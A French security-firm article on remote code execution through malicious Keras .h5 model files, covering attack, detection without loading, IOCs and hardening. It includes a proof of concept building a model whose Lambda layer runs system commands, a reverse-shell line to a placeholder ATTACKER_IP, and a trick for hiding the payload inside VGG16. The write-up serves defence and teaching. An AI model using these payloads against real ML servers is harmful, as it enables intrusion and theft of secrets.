Exploiter une vulnérabilité TensorFlow (.h5 RCE) : analyse, détection et remédiation

10 sept. 2025

Introduction

Lors d’un test d’intrusion pour un client, nous avons découvert une vulnérabilité TensorFlow critique permettant une Remote Code Execution (RCE) via le chargement de fichiers Keras .h5 malveillants. Cette faille illustre une réalité souvent ignorée : un modèle IA n’est pas qu’un “poids”, c’est un artefact exécutable dont la désérialisation peut déclencher du code Python.

Dans cet article, nous expliquons l’attaque, proposons des méthodes de détection sans exécution, listons des IOCs, et détaillons des mesures de remédiation pragmatiques pour sécuriser vos environnements Machine Learning.

Contexte et threat model

Dans de nombreux SI, des applications internes ou SaaS acceptent l’upload de modèles (use-cases AutoML, fine-tuning, bring-your-own-model). Le serveur d’inférence charge ensuite ces fichiers (souvent .h5) via load_model().

Hypothèses d’attaque réalistes :

  • Un utilisateur malveillant (ou un compte compromis) uploade un modèle .h5 piégé.

  • Le backend ML désérialise le modèle sans contrôle et exécute du code arbitraire.

  • L’attaquant obtient une exécution de commandes (RCE), exfiltre des secrets (clés, credentials, datasets), implante une persistance, puis pivote.

Impact business :

  • Exfiltration de données sensibles (datasets propriétaires, modèles).

  • Sabotage / backdoor de modèles mis en prod (perte d’intégrité).

  • Compromission de l’infra (latérale) via le nœud ML.

Comprendre la vulnérabilité TensorFlow

L’import d’un modèle Keras/TensorFlow se fait classiquement via load_model() :

from tensorflow.keras.models import load_model
model = load_model("modele_fournit_par_utilisateur.h5")

Le problème : les modèles .h5 peuvent embarquer des couches Lambda contenant du code Python sérialisé. Sans politique de validation ni sandbox, le simple chargement peut déclencher une RCE.

Points clés :

  • Les couches Lambda sont puissantes mais dangereuses hors confiance.

  • La désérialisation ⇢ exécution potentielle de fonctions Python.

  • Beaucoup de pipelines ne contrôlent pas (ou mal) ces artefacts.

Preuve de concept (PoC) : fichier .h5 malveillant

Un modèle minimal avec Lambda peut exécuter une commande système :

import os
import tensorflow as tf
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Lambda

def malicious_code(x):
    os.system("touch /tmp/pwned")
    return x

model = Sequential()
model.add(Lambda(malicious_code, input_shape=(1,)))
model.save("evil_model.h5")

Effet : à l’import, le serveur crée /tmp/pwned. C’est trivial, mais cela prouve l’exécution côté serveur.

De la PoC à une compromission réaliste

Pour un accès interactif, une charge type reverse shell est souvent utilisée (adaptée à l’environnement cible) :

def reverse_shell(x):
    os.system("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1")
    return x

Au chargement, le serveur initie une connexion sortante vers l’attaquant. Avec des règles egress permissives, l’attaquant obtient un shell, élève ses privilèges, dump des secrets (variables d’env, tokens cloud), et pivote.

Astuce défensive : surveiller les connexions sortantes inhabituelles depuis le namespace/Pod de service d’inférence.

Déguiser un fichier .h5 malveillant

L’attaque peut être camouflée dans un modèle légitime (ex. VGG16) :

from tensorflow.keras.applications import VGG16
from tensorflow.keras.models import Model
from tensorflow.keras.layers import Lambda

base_model = VGG16(weights="imagenet")
x = Lambda(malicious_code)(base_model.output)
model = Model(inputs=base_model.input, outputs=x)
model.save("evil_vgg16.h5")

À l’œil nu (ou via un audit superficiel), le modèle paraît valide. La charge reste latente jusqu’au load_model().

Détection hors exécution (safe parsing)

Avant tout chargement, inspectez le .h5 sans exécuter de code :

import h5py, json, base64

def list_lambda_layers(h5_path):
    with h5py.File(h5_path, "r") as f:
        cfg = f.attrs.get("model_config")
        if not cfg:
            return []
        config_json = json.loads(cfg.decode("utf-8"))
        lambdas = []
        for layer in config_json.get("config", {}).get("layers", []):
            if layer.get("class_name") == "Lambda":
                lambdas.append(layer)
        return lambdas

def extract_lambda_source(lambda_layer):
    # Certains dumps stockent le code encodé (varie selon versions Keras)
    fn = lambda_layer.get("config", {}).get("function")
    if isinstance(fn, list) and fn:
        try:
            return base64.b64decode(fn[0]).decode()
        except Exception:
            return str(fn)
    return None

lambdas = list_lambda_layers("evil_model.h5")
for i, l in enumerate(lambdas, 1):
    print(f"[!] Lambda #{i} détectée")
    src = extract_lambda_source(l)
    if src:
        print("--- code ---")
        print(src)

Bonnes pratiques d’analyse :

  • Ne jamais appeler load_model() pour “voir ce qu’il y a dedans”.

  • Si la structure ne contient pas Lambda, restez prudents : d’autres vecteurs (custom objects, wrappers) peuvent exister.

  • Versionnez vos outils d’inspection (variations Keras/TensorFlow).

Indicateurs de compromission (IOCs)

À surveiller si vous suspectez une exploitation .h5 :

  • Fichiers traces inattendus (ex. /tmp/pwned, /var/tmp/*).

  • Processus éphémères au chargement d’un modèle (shells, interprètes).

  • Connexions sortantes depuis les nœuds/pods d’inférence vers IP/ports non standard.

  • Logs d’application : erreurs pendant load_model(), anomalies dans les temps de chargement, exceptions de désérialisation.

  • Modèles modifiés : empreintes (hash) qui changent hors cycle d’update, présence de Lambda ou d’objets custom inattendus.

Architecture durcie & mitigations

1) Politique d’acceptation des modèles

  • Interdire l’upload de modèles arbitraires par défaut.

  • Favoriser des formats déclaratifs (ex. TF-Lite/ONNX) sans exécution Python au chargement.

  • Si Keras .h5 est incontournable, bloquer Lambda et objets custom au parsing.

2) Exécution confinée

  • Charger les modèles dans une sandbox (conteneur non privilégié, AppArmor/SELinux, seccomp, no-new-privileges).

  • FS en lecture seule, /tmp isolé, network egress control strict.

  • Secrets par injection contrôlée (ex. KMS) — jamais en variables d’environnement “larges”.

3) Pipeline de sécurité

  • Scan statique des .h5 (signature, présence de Lambda, heuristiques).

  • Signature des modèles (chaîne de confiance) + vérification en pré-production.

  • Observabilité : métriques de charge/latence, logs d’accès, eBPF pour syscall sensibles si possible.

4) Gestion des versions

  • Tenir à jour TensorFlow/Keras et dépendances.

  • Épingler des versions (requirements) et reconstruire les images régulièrement.

  • Tests de régression sécurité dans le CI pour les chemins de désérialisation.

Checklist opérationnelle

  • Interdire Lambda/custom objects dans les artefacts utilisateurs.

  • Mettre un parsing sécurisé avant tout chargement.

  • Confinement fort (conteneur, réseau, FS RO, user non-root).

  • Bloquer les sorties réseau non nécessaires.

  • Journaliser et alerter sur les anomalies au chargement.

  • Inventorier et hasher tous les modèles déployés.

  • Mettre à jour TensorFlow/Keras + scanner les images.

  • Former les équipes (dev/DS/ops) à la sécurité ML.

Questions fréquentes (FAQ)

Q1 — Est-ce spécifique à Keras/TensorFlow ?
Principalement oui pour l’exemple Lambda, mais toute désérialisation de formats “riches” peut poser problème si elle exécute du code (ou charge des objets arbitraires).

Q2 — On peut scanner automatiquement tous nos .h5 ?
Oui : mettez un job d’inventaire (cf. annexe) pour lister les modèles, extraire la config et bloquer en CI ceux qui contiennent Lambda/custom objects.

Q3 — On a besoin de Lambda pour des raisons légitimes. On fait quoi ?

  • Restreindre l’usage aux artefacts signés en interne.

  • Charger en sandbox dédiée, hors prod, et promouvoir ensuite un format neutre (ex. TF-Lite, SavedModel sans code).

Q4 — Pourquoi pas juste “faire confiance” à nos utilisateurs internes ?
La menace interne existe. Et un compte SSO compromis suffit. Appliquez le principe de moindre confiance.

Encadré légal & éthique

Les techniques décrites visent la sécurisation des environnements ML. N’exploitez jamais ces méthodes en dehors d’un cadre légal (contrat d’audit, labo perso). Chez Phorsys, nous conduisons ces tests avec autorisation et dans un but défensif.

Conclusion

Un simple fichier Keras/TensorFlow .h5 malveillant peut suffire à compromettre un serveur si la désérialisation n’est pas contrôlée. En combinant parsing sécurisé, confinement, observabilité, et gouvernance des artefacts, vous réduisez drastiquement le risque.

Chez Phorsys, nous rencontrons régulièrement ce scénario en mission. Besoin d’un audit de vos pipelines IA/ML ou d’une revue d’architecture ? Parlons-en.

Annexe — Scripts utiles

A. Inventaire & scan des .h5 (répertoire)

import os, hashlib, json, base64, h5py

def hash_file(path, algo="sha256", chunk=1<<20):
    h = hashlib.new(algo)
    with open(path, "rb") as f:
        while True:
            b = f.read(chunk)
            if not b:
                break
            h.update(b)
    return h.hexdigest()

def detect_lambda_layers(h5_path):
    out = {"file": h5_path, "hash": hash_file(h5_path), "lambdas": []}
    try:
        with h5py.File(h5_path, "r") as f:
            cfg = f.attrs.get("model_config")
            if not cfg: return out
            cfg_json = json.loads(cfg.decode("utf-8"))
            for layer in cfg_json.get("config", {}).get("layers", []):
                if layer.get("class_name") == "Lambda":
                    entry = {"name": layer["config"].get("name")}
                    fn = layer["config"].get("function")
                    if isinstance(fn, list) and fn:
                        try:
                            entry["decoded"] = base64.b64decode(fn[0]).decode()
                        except Exception:
                            entry["decoded"] = str(fn)
                    out["lambdas"].append(entry)
    except Exception as e:
        out["error"] = str(e)
    return out

def scan_dir(root):
    results = []
    for d, _, files in os.walk(root):
        for f in files:
            if f.endswith(".h5"):
                results.append(detect_lambda_layers(os.path.join(d, f)))
    return results

if __name__ == "__main__":
    for r in scan_dir("./models"):
        print(json.dumps(r, ensure_ascii=False, indent=2))

B. Exemple d’alerte simple (pseudo-CI)

  • Échec si lambdas non vide.

  • Journaliser hash + chemin pour traçabilité.